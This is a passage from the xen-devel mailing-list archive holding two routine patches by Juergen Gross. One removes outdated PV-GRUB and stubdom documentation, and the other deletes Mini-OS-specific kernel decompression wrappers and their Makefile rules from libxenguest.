	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wh1H4-0001Oe-Rd; Tue, 07 Jul 2026 08:35:26 +0000
Received: by outflank-mailman (input) for mailman id 1356038;
 Tue, 07 Jul 2026 08:35:26 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jgross@suse.com>) id 1wh1H4-0001Nb-7Q
 for xen-devel@lists.xenproject.org; Tue, 07 Jul 2026 08:35:26 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wh1H3-003BoA-KF
 for xen-devel@lists.xenproject.org; Tue, 07 Jul 2026 10:35:25 +0200
Received: from [10.42.69.8] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jgross@suse.com>)
 id 6a4cba42-5cb7-0a2a0a5109dd-0a2a45089baa-38
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 10:35:25 +0200
Received: from [195.135.223.130] (helo=smtp-out1.suse.de)
 by tlsNG-c1860d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jgross@suse.com>)
 id 6a4cba4d-edec-0a2a45080019-c387df82e422-3
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 10:35:25 +0200
Received: from imap1.dmz-prg2.suse.org (imap1.dmz-prg2.suse.org
 [IPv6:2a07:de40:b281:104:10:150:64:97])
 (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
 key-exchange X25519 server-signature RSA-PSS (4096 bits) server-digest SHA256)
 (No client certificate requested)
 by smtp-out1.suse.de (Postfix) with ESMTPS id 3951E7393D;
 Tue,  7 Jul 2026 08:35:25 +0000 (UTC)
Received: from imap1.dmz-prg2.suse.org (localhost [127.0.0.1])
 (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
 key-exchange X25519 server-signature RSA-PSS (4096 bits) server-digest SHA256)
 (No client certificate requested)
 by imap1.dmz-prg2.suse.org (Postfix) with ESMTPS id EC335779AE;
 Tue,  7 Jul 2026 08:35:24 +0000 (UTC)
Received: from dovecot-director2.suse.de ([2a07:de40:b281:106:10:150:64:167])
 by imap1.dmz-prg2.suse.org with ESMTPSA id mbJnOEy6TGrvDAAAD6G6ig
 (envelope-from <jgross@suse.com>); Tue, 07 Jul 2026 08:35:24 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=susede1 header.d=suse.com header.i="@suse.com" header.h="From:Date:Message-ID:To:Cc:MIME-Version:Content-Transfer-Encoding:In-Reply-To:References"; dkim=pass header.s=susede1 header.d=suse.com header.i="@suse.com" header.h="From:Date:Message-ID:To:Cc:MIME-Version:Content-Transfer-Encoding:In-Reply-To:References"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=suse.com; s=susede1;
	t=1783413325; h=from:from:reply-to:date:date:message-id:message-id:to:to:cc:cc:
	 mime-version:mime-version:
	 content-transfer-encoding:content-transfer-encoding:
	 in-reply-to:in-reply-to:references:references;
	bh=i7QVV4zU+HBTHHGxFIUYe6BxCNLKsfYFRbHiHIdGaFw=;
	b=A1qwsMhyXPPk7tBBqTA0eBQFS43sgaXhv+FHVOQq6v+tTuNzvB+8idgUnihIXDP0b+bOt9
	IuB1OKyucGahsMu7Br1JRuG6WVtPejZg7OZu7hiosko8XCV/aKTpjmThq4E9Q5X6YJio+2
	bJwU2VOmKFbZyuOw2XSN+LNzAfddQ40=
Authentication-Results: smtp-out1.suse.de;
	dkim=pass header.d=suse.com header.s=susede1 header.b=A1qwsMhy
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=suse.com; s=susede1;
	t=1783413325; h=from:from:reply-to:date:date:message-id:message-id:to:to:cc:cc:
	 mime-version:mime-version:
	 content-transfer-encoding:content-transfer-encoding:
	 in-reply-to:in-reply-to:references:references;
	bh=i7QVV4zU+HBTHHGxFIUYe6BxCNLKsfYFRbHiHIdGaFw=;
	b=A1qwsMhyXPPk7tBBqTA0eBQFS43sgaXhv+FHVOQq6v+tTuNzvB+8idgUnihIXDP0b+bOt9
	IuB1OKyucGahsMu7Br1JRuG6WVtPejZg7OZu7hiosko8XCV/aKTpjmThq4E9Q5X6YJio+2
	bJwU2VOmKFbZyuOw2XSN+LNzAfddQ40=
From: Juergen Gross <jgross@suse.com>
To: xen-devel@lists.xenproject.org
Cc: Juergen Gross <jgross@suse.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Michal Orzel <michal.orzel@amd.com>,
	Jan Beulich <jbeulich@suse.com>,
	Julien Grall <julien@xen.org>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Stefano Stabellini <sstabellini@kernel.org>
Subject: [PATCH 4/5] docs: remove stale stubdom entries from stubdom.txt
Date: Tue,  7 Jul 2026 10:34:55 +0200
Message-ID: <20260707083459.226297-5-jgross@suse.com>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <20260707083459.226297-1-jgross@suse.com>
References: <20260707083459.226297-1-jgross@suse.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-Rspamd-Action: no action
X-Rspamd-Queue-Id: 3951E7393D
X-Spam-Flag: NO
X-Spam-Score: -3.01
X-Spam-Level: 
X-Spamd-Result: default: False [-3.01 / 50.00];
	BAYES_HAM(-3.00)[99.99%];
	MID_CONTAINS_FROM(1.00)[];
	NEURAL_HAM_LONG(-1.00)[-1.000];
	R_MISSING_CHARSET(0.50)[];
	R_DKIM_ALLOW(-0.20)[suse.com:s=susede1];
	NEURAL_HAM_SHORT(-0.20)[-0.999];
	MIME_GOOD(-0.10)[text/plain];
	MX_GOOD(-0.01)[];
	DKIM_SIGNED(0.00)[suse.com:s=susede1];
	FUZZY_RATELIMITED(0.00)[rspamd.com];
	MIME_TRACE(0.00)[0:+];
	TO_MATCH_ENVRCPT_ALL(0.00)[];
	ARC_NA(0.00)[];
	RBL_SPAMHAUS_BLOCKED_OPENRESOLVER(0.00)[2a07:de40:b281:104:10:150:64:97:from];
	DKIM_TRACE(0.00)[suse.com:+];
	TO_DN_SOME(0.00)[];
	RCVD_COUNT_TWO(0.00)[2];
	FROM_EQ_ENVFROM(0.00)[];
	FROM_HAS_DN(0.00)[];
	RCVD_TLS_ALL(0.00)[];
	DNSWL_BLOCKED(0.00)[2a07:de40:b281:104:10:150:64:97:from,2a07:de40:b281:106:10:150:64:167:received];
	RCPT_COUNT_SEVEN(0.00)[9];
	DWL_DNSWL_BLOCKED(0.00)[suse.com:dkim];
	RCVD_VIA_SMTP_AUTH(0.00)[];
	RECEIVED_SPAMHAUS_BLOCKED_OPENRESOLVER(0.00)[2a07:de40:b281:106:10:150:64:167:received];
	DBL_BLOCKED_OPENRESOLVER(0.00)[suse.com:dkim,suse.com:email,suse.com:mid]
X-Rspamd-Server: rspamd1.dmz-prg2.suse.org
X-purgate-ID: tlsNG-c1860d/1783413325-A15273FC-BD564E03/0/0
X-purgate-type: clean
X-purgate-size: 2552

There are several stubdoms mentioned in docs/misc/stubdom.txt which
no longer exist. Remove them.

Signed-off-by: Juergen Gross <jgross@suse.com>
---
 docs/misc/stubdom.txt | 69 -------------------------------------------
 1 file changed, 69 deletions(-)

diff --git a/docs/misc/stubdom.txt b/docs/misc/stubdom.txt
index cfcba4ba96..3ee96d5063 100644
--- a/docs/misc/stubdom.txt
+++ b/docs/misc/stubdom.txt
@@ -85,72 +85,3 @@ To change the CD-ROM medium, libxl will:
 
 The stubdom must internally add /dev/xvdc to an fdset in QEMU with opaque set
 to "stub-devid:$devid".  libxl will lookup the fdset with that string.
-
-                                   PV-GRUB
-                                   =======
-
-  This replaces pygrub to boot domU images safely: it runs the regular grub
-inside the created domain itself and uses regular domU facilities to read the
-disk / fetch files from network etc. ; it eventually loads the PV kernel and
-chain-boots it.
-  
-Configuration
-=============
-
-In your PV config,
-
-- use pv-grub.gz as kernel:
-
-kernel = "pv-grub.gz"
-
-- set the path to menu.lst, as seen from the domU, in extra:
-
-extra = "(hd0,0)/boot/grub/menu.lst"
-
-or you can provide the content of a menu.lst stored in dom0 by passing it as a
-ramdisk:
-
-ramdisk = "/boot/domU-1-menu.lst"
-
-or you can also use a tftp path (dhcp will be automatically performed):
-
-extra = "(nd)/somepath/menu.lst"
-
-or you can set it in option 150 of your dhcp server and leave extra and ramdisk
-empty (dhcp will be automatically performed)
-
-Limitations
-===========
-
-- You can not boot a 64bit kernel with a 32bit-compiled PV-GRUB and vice-versa.
-To cross-compile a 32bit PV-GRUB,
-
-export XEN_TARGET_ARCH=x86_32
-
-- bootsplash is supported, but the ioemu backend does not yet support restart
-for use by the booted kernel.
-
-- PV-GRUB doesn't support virtualized partitions. For instance:
-
-disk = [ 'phy:hda7,hda7,w' ]
-
-will be seen by PV-GRUB as (hd0), not (hd0,6), since GRUB will not see any
-partition table.
-
-
-                                Your own stubdom
-                                ================
-
-  By running
-
-cd stubdom/
-make c-stubdom
-
-  or
-
-cd stubdom/
-make caml-stubdom
-
-  you can compile examples of C or caml stub domain kernels.  You can use these
-and the relevant Makefile rules as basis to build your own stub domain kernel.
-Available libraries are libc, libxc, libxs, zlib and libpci.
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Tue Jul 07 08:35:33 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 07 Jul 2026 08:35:33 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1356042.1610723 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wh1HB-0001qZ-6m; Tue, 07 Jul 2026 08:35:33 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1356042.1610723; Tue, 07 Jul 2026 08:35:33 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wh1HB-0001qS-3b; Tue, 07 Jul 2026 08:35:33 +0000
Received: by outflank-mailman (input) for mailman id 1356042;
 Tue, 07 Jul 2026 08:35:31 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jgross@suse.com>) id 1wh1H9-0001n9-Li
 for xen-devel@lists.xenproject.org; Tue, 07 Jul 2026 08:35:31 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wh1H9-003q71-1U
 for xen-devel@lists.xenproject.org; Tue, 07 Jul 2026 10:35:31 +0200
Received: from [10.42.69.6] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jgross@suse.com>)
 id 6a4cba40-e002-0a2a0a5209dd-0a2a4506e018-48
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 10:35:31 +0200
Received: from [195.135.223.130] (helo=smtp-out1.suse.de)
 by tlsNG-16d1c6.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jgross@suse.com>)
 id 6a4cba52-08de-0a2a45060019-c387df82e68c-3
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 10:35:30 +0200
Received: from imap1.dmz-prg2.suse.org (unknown [10.150.64.97])
 (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
 key-exchange X25519 server-signature RSA-PSS (4096 bits) server-digest SHA256)
 (No client certificate requested)
 by smtp-out1.suse.de (Postfix) with ESMTPS id AA37A73FC3;
 Tue,  7 Jul 2026 08:35:30 +0000 (UTC)
Received: from imap1.dmz-prg2.suse.org (localhost [127.0.0.1])
 (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
 key-exchange X25519 server-signature RSA-PSS (4096 bits) server-digest SHA256)
 (No client certificate requested)
 by imap1.dmz-prg2.suse.org (Postfix) with ESMTPS id 8A0C2779AE;
 Tue,  7 Jul 2026 08:35:30 +0000 (UTC)
Received: from dovecot-director2.suse.de ([2a07:de40:b281:106:10:150:64:167])
 by imap1.dmz-prg2.suse.org with ESMTPSA id SEJcIFK6TGr5DAAAD6G6ig
 (envelope-from <jgross@suse.com>); Tue, 07 Jul 2026 08:35:30 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=susede1 header.d=suse.com header.i="@suse.com" header.h="From:Date:Message-ID:To:Cc:MIME-Version:Content-Transfer-Encoding:In-Reply-To:References"; dkim=pass header.s=susede1 header.d=suse.com header.i="@suse.com" header.h="From:Date:Message-ID:To:Cc:MIME-Version:Content-Transfer-Encoding:In-Reply-To:References"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=suse.com; s=susede1;
	t=1783413330; h=from:from:reply-to:date:date:message-id:message-id:to:to:cc:cc:
	 mime-version:mime-version:
	 content-transfer-encoding:content-transfer-encoding:
	 in-reply-to:in-reply-to:references:references;
	bh=dKp2RqqaXDo0PHr9j/gRjRh2meprNkvF0eE5dIq0h18=;
	b=B2/GTj9XMmJB8rbjag4eeG2JCJV+uvyYqukZ4lc2tvQXWhTwitrs4mbi7tGLIOaHBPWNmS
	WaRml+WctgGtjXU5wlhwuPVmENaOhyf9XC+Aa0Oq3RbYkFpL1c8FFz1zRil9QKIDJoyvV3
	rauD3hlJy+ytgIZkrV4e/D49EhfoZ0I=
Authentication-Results: smtp-out1.suse.de;
	none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=suse.com; s=susede1;
	t=1783413330; h=from:from:reply-to:date:date:message-id:message-id:to:to:cc:cc:
	 mime-version:mime-version:
	 content-transfer-encoding:content-transfer-encoding:
	 in-reply-to:in-reply-to:references:references;
	bh=dKp2RqqaXDo0PHr9j/gRjRh2meprNkvF0eE5dIq0h18=;
	b=B2/GTj9XMmJB8rbjag4eeG2JCJV+uvyYqukZ4lc2tvQXWhTwitrs4mbi7tGLIOaHBPWNmS
	WaRml+WctgGtjXU5wlhwuPVmENaOhyf9XC+Aa0Oq3RbYkFpL1c8FFz1zRil9QKIDJoyvV3
	rauD3hlJy+ytgIZkrV4e/D49EhfoZ0I=
From: Juergen Gross <jgross@suse.com>
To: xen-devel@lists.xenproject.org
Cc: Juergen Gross <jgross@suse.com>,
	Anthony PERARD <anthony.perard@vates.tech>
Subject: [PATCH 5/5] tools/libxenguest: remove Mini-OS specific parts
Date: Tue,  7 Jul 2026 10:34:56 +0200
Message-ID: <20260707083459.226297-6-jgross@suse.com>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <20260707083459.226297-1-jgross@suse.com>
References: <20260707083459.226297-1-jgross@suse.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-Spam-Flag: NO
X-Spam-Score: -2.79
X-Spamd-Result: default: False [-2.79 / 50.00];
	BAYES_HAM(-3.00)[100.00%];
	MID_CONTAINS_FROM(1.00)[];
	NEURAL_HAM_LONG(-1.00)[-1.000];
	R_MISSING_CHARSET(0.50)[];
	NEURAL_HAM_SHORT(-0.19)[-0.975];
	MIME_GOOD(-0.10)[text/plain];
	TO_MATCH_ENVRCPT_ALL(0.00)[];
	FROM_HAS_DN(0.00)[];
	ARC_NA(0.00)[];
	MIME_TRACE(0.00)[0:+];
	TO_DN_SOME(0.00)[];
	DBL_BLOCKED_OPENRESOLVER(0.00)[suse.com:email,suse.com:mid,imap1.dmz-prg2.suse.org:helo];
	RCVD_VIA_SMTP_AUTH(0.00)[];
	FROM_EQ_ENVFROM(0.00)[];
	RCVD_COUNT_TWO(0.00)[2];
	FUZZY_RATELIMITED(0.00)[rspamd.com];
	DKIM_SIGNED(0.00)[suse.com:s=susede1];
	RCPT_COUNT_THREE(0.00)[3];
	RCVD_TLS_ALL(0.00)[]
X-Spam-Level: 
X-purgate-ID: tlsNG-16d1c6/1783413330-C410F68D-834CF496/0/0
X-purgate-type: clean
X-purgate-size: 11480

The last Mini-OS use case of libxenguest is gone, so remove the
Mini-OS specific parts of libxenguest.

Signed-off-by: Juergen Gross <jgross@suse.com>
---
 tools/libs/guest/Makefile.common              | 15 ------
 tools/libs/guest/xg_dom_decompress_unsafe.c   | 48 -------------------
 tools/libs/guest/xg_dom_decompress_unsafe.h   | 28 -----------
 .../guest/xg_dom_decompress_unsafe_bzip2.c    | 14 ------
 .../libs/guest/xg_dom_decompress_unsafe_lz4.c | 39 ---------------
 .../guest/xg_dom_decompress_unsafe_lzma.c     | 14 ------
 .../guest/xg_dom_decompress_unsafe_lzo1x.c    | 44 -----------------
 .../libs/guest/xg_dom_decompress_unsafe_xz.c  | 46 ------------------
 .../guest/xg_dom_decompress_unsafe_zstd.c     | 44 -----------------
 9 files changed, 292 deletions(-)
 delete mode 100644 tools/libs/guest/xg_dom_decompress_unsafe.c
 delete mode 100644 tools/libs/guest/xg_dom_decompress_unsafe.h
 delete mode 100644 tools/libs/guest/xg_dom_decompress_unsafe_bzip2.c
 delete mode 100644 tools/libs/guest/xg_dom_decompress_unsafe_lz4.c
 delete mode 100644 tools/libs/guest/xg_dom_decompress_unsafe_lzma.c
 delete mode 100644 tools/libs/guest/xg_dom_decompress_unsafe_lzo1x.c
 delete mode 100644 tools/libs/guest/xg_dom_decompress_unsafe_xz.c
 delete mode 100644 tools/libs/guest/xg_dom_decompress_unsafe_zstd.c

diff --git a/tools/libs/guest/Makefile.common b/tools/libs/guest/Makefile.common
index 86b1f160e5..47b3a52360 100644
--- a/tools/libs/guest/Makefile.common
+++ b/tools/libs/guest/Makefile.common
@@ -1,8 +1,3 @@
-ifeq ($(CONFIG_LIBXC_MINIOS),y)
-# Save/restore of a domain is currently incompatible with a stubdom environment
-override CONFIG_MIGRATE := n
-endif
-
 OBJS-y += xg_private.o
 OBJS-y += xg_domain.o
 OBJS-y += xg_suspend.o
@@ -55,16 +50,6 @@ OBJS-$(CONFIG_X86)     += xg_dom_x86.o
 OBJS-$(CONFIG_X86)     += xg_cpuid_x86.o
 OBJS-$(CONFIG_ARM)     += xg_dom_arm.o
 
-ifeq ($(CONFIG_LIBXC_MINIOS),y)
-OBJS-y                 += xg_dom_decompress_unsafe.o
-OBJS-y                 += xg_dom_decompress_unsafe_bzip2.o
-OBJS-y                 += xg_dom_decompress_unsafe_lz4.o
-OBJS-y                 += xg_dom_decompress_unsafe_lzma.o
-OBJS-y                 += xg_dom_decompress_unsafe_lzo1x.o
-OBJS-y                 += xg_dom_decompress_unsafe_xz.o
-OBJS-y                 += xg_dom_decompress_unsafe_zstd.o
-endif
-
 CFLAGS += -D__XEN_TOOLS__
 CFLAGS += -include $(XEN_ROOT)/tools/config.h
 CFLAGS += -iquote ../../../xen/common/libelf
diff --git a/tools/libs/guest/xg_dom_decompress_unsafe.c b/tools/libs/guest/xg_dom_decompress_unsafe.c
deleted file mode 100644
index 21d964787d..0000000000
--- a/tools/libs/guest/xg_dom_decompress_unsafe.c
+++ /dev/null
@@ -1,48 +0,0 @@
-#include <stdio.h>
-#include <stdlib.h>
-#include <inttypes.h>
-
-#include "xg_private.h"
-#include "xg_dom_decompress_unsafe.h"
-
-static struct xc_dom_image *unsafe_dom;
-static unsigned char *output_blob;
-static unsigned int output_size;
-
-static void unsafe_error(const char *msg)
-{
-    xc_dom_panic(unsafe_dom->xch, XC_INVALID_KERNEL, "%s", msg);
-}
-
-static int unsafe_flush(void *src, unsigned int size)
-{
-    void *n = realloc(output_blob, output_size + size);
-    if (!n)
-        return -1;
-    output_blob = n;
-
-    memcpy(&output_blob[output_size], src, size);
-    output_size += size;
-    return size;
-}
-
-int xc_dom_decompress_unsafe(
-    decompress_fn fn, struct xc_dom_image *dom, void **blob, size_t *size)
-{
-    int ret;
-
-    unsafe_dom = dom;
-    output_blob = NULL;
-    output_size = 0;
-
-    ret = fn(dom->kernel_blob, dom->kernel_size, NULL, unsafe_flush, NULL, NULL, unsafe_error);
-
-    if (ret)
-        free(output_blob);
-    else {
-        *blob = output_blob;
-        *size = output_size;
-    }
-
-    return ret;
-}
diff --git a/tools/libs/guest/xg_dom_decompress_unsafe.h b/tools/libs/guest/xg_dom_decompress_unsafe.h
deleted file mode 100644
index 5bc2222076..0000000000
--- a/tools/libs/guest/xg_dom_decompress_unsafe.h
+++ /dev/null
@@ -1,28 +0,0 @@
-#ifdef __MINIOS__
-# include "../../xen/include/xen/decompress.h"
-#else
-typedef int decompress_fn(unsigned char *inbuf, unsigned int len,
-                          int (*fill)(void*, unsigned int),
-                          int (*flush)(void*, unsigned int),
-                          unsigned char *outbuf, unsigned int *posp,
-                          void (*error)(const char *x));
-#endif
-
-#define cf_check /* No Control Flow Integriy checking */
-
-int xc_dom_decompress_unsafe(
-    decompress_fn fn, struct xc_dom_image *dom, void **blob, size_t *size)
-    __attribute__((visibility("internal")));
-
-int xc_try_bzip2_decode(struct xc_dom_image *dom, void **blob, size_t *size)
-    __attribute__((visibility("internal")));
-int xc_try_lz4_decode(struct xc_dom_image *dom, void **blob, size_t *size)
-    __attribute__((visibility("internal")));
-int xc_try_lzma_decode(struct xc_dom_image *dom, void **blob, size_t *size)
-    __attribute__((visibility("internal")));
-int xc_try_lzo1x_decode(struct xc_dom_image *dom, void **blob, size_t *size)
-    __attribute__((visibility("internal")));
-int xc_try_xz_decode(struct xc_dom_image *dom, void **blob, size_t *size)
-    __attribute__((visibility("internal")));
-int xc_try_zstd_decode(struct xc_dom_image *dom, void **blob, size_t *size)
-    __attribute__((visibility("internal")));
diff --git a/tools/libs/guest/xg_dom_decompress_unsafe_bzip2.c b/tools/libs/guest/xg_dom_decompress_unsafe_bzip2.c
deleted file mode 100644
index 9d3709e6cc..0000000000
--- a/tools/libs/guest/xg_dom_decompress_unsafe_bzip2.c
+++ /dev/null
@@ -1,14 +0,0 @@
-#include <stdio.h>
-#include <stdlib.h>
-#include <inttypes.h>
-
-#include "xg_private.h"
-#include "xg_dom_decompress_unsafe.h"
-
-#include "../../xen/common/bunzip2.c"
-
-int xc_try_bzip2_decode(
-    struct xc_dom_image *dom, void **blob, size_t *size)
-{
-    return xc_dom_decompress_unsafe(bunzip2, dom, blob, size);
-}
diff --git a/tools/libs/guest/xg_dom_decompress_unsafe_lz4.c b/tools/libs/guest/xg_dom_decompress_unsafe_lz4.c
deleted file mode 100644
index 405143aa61..0000000000
--- a/tools/libs/guest/xg_dom_decompress_unsafe_lz4.c
+++ /dev/null
@@ -1,39 +0,0 @@
-#include <stdio.h>
-#include <stdlib.h>
-#include <inttypes.h>
-#include <stdint.h>
-
-#include INCLUDE_ENDIAN_H
-
-#define XG_NEED_UNALIGNED
-#include "xg_private.h"
-#include "xg_dom_decompress.h"
-
-#define CONFIG_HAVE_EFFICIENT_UNALIGNED_ACCESS
-
-typedef uint8_t u8;
-typedef uint16_t u16;
-typedef uint32_t u32;
-typedef uint64_t u64;
-
-#define likely(a) a
-#define unlikely(a) a
-
-static inline uint16_t le16_to_cpu(uint16_t v)
-{
-#if BYTE_ORDER == BIG_ENDIAN
-    return __builtin_bswap16(v);
-#else
-    return v;
-#endif
-}
-
-#include "../../xen/include/xen/lz4.h"
-#include "../../xen/common/decompress.h"
-#include "../../xen/common/unlz4.c"
-
-int xc_try_lz4_decode(
-    struct xc_dom_image *dom, void **blob, size_t *size)
-{
-    return xc_dom_decompress_unsafe(unlz4, dom, blob, size);
-}
diff --git a/tools/libs/guest/xg_dom_decompress_unsafe_lzma.c b/tools/libs/guest/xg_dom_decompress_unsafe_lzma.c
deleted file mode 100644
index 5d178f0c43..0000000000
--- a/tools/libs/guest/xg_dom_decompress_unsafe_lzma.c
+++ /dev/null
@@ -1,14 +0,0 @@
-#include <stdio.h>
-#include <stdlib.h>
-#include <inttypes.h>
-
-#include "xg_private.h"
-#include "xg_dom_decompress_unsafe.h"
-
-#include "../../xen/common/unlzma.c"
-
-int xc_try_lzma_decode(
-    struct xc_dom_image *dom, void **blob, size_t *size)
-{
-    return xc_dom_decompress_unsafe(unlzma, dom, blob, size);
-}
diff --git a/tools/libs/guest/xg_dom_decompress_unsafe_lzo1x.c b/tools/libs/guest/xg_dom_decompress_unsafe_lzo1x.c
deleted file mode 100644
index 356f228718..0000000000
--- a/tools/libs/guest/xg_dom_decompress_unsafe_lzo1x.c
+++ /dev/null
@@ -1,44 +0,0 @@
-#include <stdio.h>
-#include <stdlib.h>
-#include <inttypes.h>
-#include INCLUDE_ENDIAN_H
-#include <stdint.h>
-
-#include "xg_private.h"
-#include "xg_dom_decompress_unsafe.h"
-
-typedef uint8_t u8;
-typedef uint32_t u32;
-typedef uint16_t u16;
-typedef uint64_t u64;
-
-#define likely(a) a
-#define noinline
-#define unlikely(a) a
-
-static inline uint16_t be16_to_cpu(const uint16_t v)
-{
-#if BYTE_ORDER == LITTLE_ENDIAN
-	return __builtin_bswap16(v);
-#else
-	return v;
-#endif
-}
-
-static inline uint32_t be32_to_cpu(const uint32_t v)
-{
-#if BYTE_ORDER == LITTLE_ENDIAN
-	return __builtin_bswap32(v);
-#else
-	return v;
-#endif
-}
-
-#include "../../xen/common/lzo.c"
-#include "../../xen/common/unlzo.c"
-
-int xc_try_lzo1x_decode(
-    struct xc_dom_image *dom, void **blob, size_t *size)
-{
-    return xc_dom_decompress_unsafe(unlzo, dom, blob, size);
-}
diff --git a/tools/libs/guest/xg_dom_decompress_unsafe_xz.c b/tools/libs/guest/xg_dom_decompress_unsafe_xz.c
deleted file mode 100644
index 0501f7f693..0000000000
--- a/tools/libs/guest/xg_dom_decompress_unsafe_xz.c
+++ /dev/null
@@ -1,46 +0,0 @@
-#include <stdio.h>
-#include INCLUDE_ENDIAN_H
-#include <stdlib.h>
-#include <stddef.h>
-#include <stdint.h>
-#include <inttypes.h>
-
-#include "xg_private.h"
-#include "xg_dom_decompress_unsafe.h"
-
-// TODO
-#define XZ_DEC_X86
-
-typedef uint8_t u8;
-typedef uint16_t u16;
-typedef uint32_t u32;
-typedef uint32_t __le32;
-
-static inline uint32_t cpu_to_le32(const uint32_t v)
-{
-#if BYTE_ORDER == BIG_ENDIAN
-	return __builtin_bswap32(v);
-#else
-	return v;
-#endif
-}
-
-static inline uint32_t le32_to_cpu(const uint32_t v)
-{
-#if BYTE_ORDER == BIG_ENDIAN
-	return __builtin_bswap32(v);
-#else
-	return v;
-#endif
-}
-
-#define __force
-#define always_inline
-
-#include "../../xen/common/unxz.c"
-
-int xc_try_xz_decode(
-    struct xc_dom_image *dom, void **blob, size_t *size)
-{
-    return xc_dom_decompress_unsafe(unxz, dom, blob, size);
-}
diff --git a/tools/libs/guest/xg_dom_decompress_unsafe_zstd.c b/tools/libs/guest/xg_dom_decompress_unsafe_zstd.c
deleted file mode 100644
index 319816a390..0000000000
--- a/tools/libs/guest/xg_dom_decompress_unsafe_zstd.c
+++ /dev/null
@@ -1,44 +0,0 @@
-#include <stdio.h>
-#include INCLUDE_ENDIAN_H
-#include <stdlib.h>
-#include <stddef.h>
-#include <stdint.h>
-#include <inttypes.h>
-
-#include "xg_private.h"
-#include "xg_dom_decompress_unsafe.h"
-
-typedef uint8_t u8;
-
-typedef uint16_t __u16;
-typedef uint32_t __u32;
-typedef uint64_t __u64;
-
-typedef uint16_t __le16;
-typedef uint32_t __le32;
-typedef uint64_t __le64;
-
-typedef uint16_t __be16;
-typedef uint32_t __be32;
-typedef uint64_t __be64;
-
-#define attr_const
-#define __force
-#define always_inline
-#define noinline
-#define __packed __attribute__((__packed__))
-
-#undef ERROR
-
-#define __TYPES_H__ /* xen/types.h guard */
-#include "../../xen/include/xen/byteorder.h"
-#include "../../xen/include/xen/unaligned.h"
-#include "../../xen/include/xen/xxhash.h"
-#include "../../xen/lib/xxhash64.c"
-#include "../../xen/common/unzstd.c"
-
-int xc_try_zstd_decode(
-    struct xc_dom_image *dom, void **blob, size_t *size)
-{
-    return xc_dom_decompress_unsafe(unzstd, dom, blob, size);
-}
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Tue Jul 07 08:37:33 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 07 Jul 2026 08:37:33 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1356076.1610733 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
